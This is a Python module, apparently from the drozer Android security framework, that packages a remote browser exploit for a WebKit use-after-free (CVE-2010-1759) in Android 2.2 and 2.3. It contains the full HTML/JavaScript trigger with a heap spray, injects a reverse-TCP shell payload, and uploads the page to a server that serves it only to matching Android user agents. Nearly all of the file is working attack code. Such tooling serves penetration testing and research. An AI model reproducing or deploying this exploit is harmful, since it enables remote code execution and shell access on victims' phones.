from drozer.modules import Module, common

class Normalize(Module, common.Exploit):

    name = "Webkit Node Normalize (CVE-2010-1759)"
    description = """
    Use-after-free vulnerability in WebKit via vectors related to the Node.normalize() method.
    
    Reference: CVE-2010-1759
    Vulnerable:
    
      * Android 2.2
      * Android 2.3

    NOTE: This exploit is not reliable across all affected devices and could do with much improvement.

    """
    examples = ""
    author = ["Mark Dowd", "MJ Keith", "Tyrone (@mwrlabs)"]
    date = "2013-07-24"
    license = "BSD (3 clause)"
    module_type = "exploit"
    path = ["exploit", "remote", "browser"]
    payloads = ["weasel.reverse_tcp.armeabi", "shell.reverse_tcp.armeabi"]
    
    __template = """
<html>
<body>
<div id="test1"></div>
<div id="test2"></div>
<div id="test3"></div>

<script>

var elem1 = document.getElementById("test1");
var elem2 = document.getElementById("test2");
var elem3 = document.getElementById("test3");
 
function spray()
{
    var nop = unescape("\u0058\u0058"); //LDREQH R3,[R7],-0x3C for nopping
    do
    {
        nop += nop;
    }
    while (nop.length <= 0x1000);

    var scode = nop + unescape("xxxyyyzzz");

    target = new Array();
    for(i = 0; i < 0x1000; i++)
        target[i] = scode;
  
    for (i = 0; i <= 0x1000; i++)
        document.write(target[i] + "<i>");
}
 
function handler1()
{
    elem1.removeAttribute("b");
    spray();
}

function handler2()
{
    elem2.removeAttribute("b");
    spray();
}

elem1.setAttribute("b", "a");
elem1.attributes[0].appendChild(document.createTextNode("hi"));
elem1.attributes[0].addEventListener("DOMSubtreeModified", handler1,  false);
elem1.normalize();

elem2.setAttribute("b", "a");
elem2.attributes[0].appendChild(document.createTextNode("hi"));
elem2.attributes[0].addEventListener("DOMSubtreeModified", handler2,  false);
elem2.normalize();

</script>
</body>
</html>

    """
    
    def __init__(self, session, loader):
        Module.__init__(self, session)
        common.Exploit.__init__(self, loader)
        
        self.payload_format = "U"
        self.working_directory = "/data/data/com.android.browser"
        self.mode = "ARM"
        
    def add_arguments(self, parser):
        parser.add_argument("--resource", default=None, help="specify the path component of the resultant exploit URI")
    
    def generate(self, arguments):
        exploit_2_2 = self.__template.replace("xxxyyyzzz", self.payload)
        path = self.generate_or_default_path(arguments.resource)

        print("Uploading blank page to /...")
        if not self.upload(arguments, "/", " "):
            return
        
        print("Uploading Exploit to %s..." % path)
        if not self.upload(arguments, path, self.build_multipart({ ".*Android.*2\.2.*AppleWebKit.*": exploit_2_2 }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="text/html", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }):
            return
        
        print("Done. The exploit is available on: http://%s:%d%s" % (arguments.server[0], arguments.server[1], path.replace("\\","")))
        
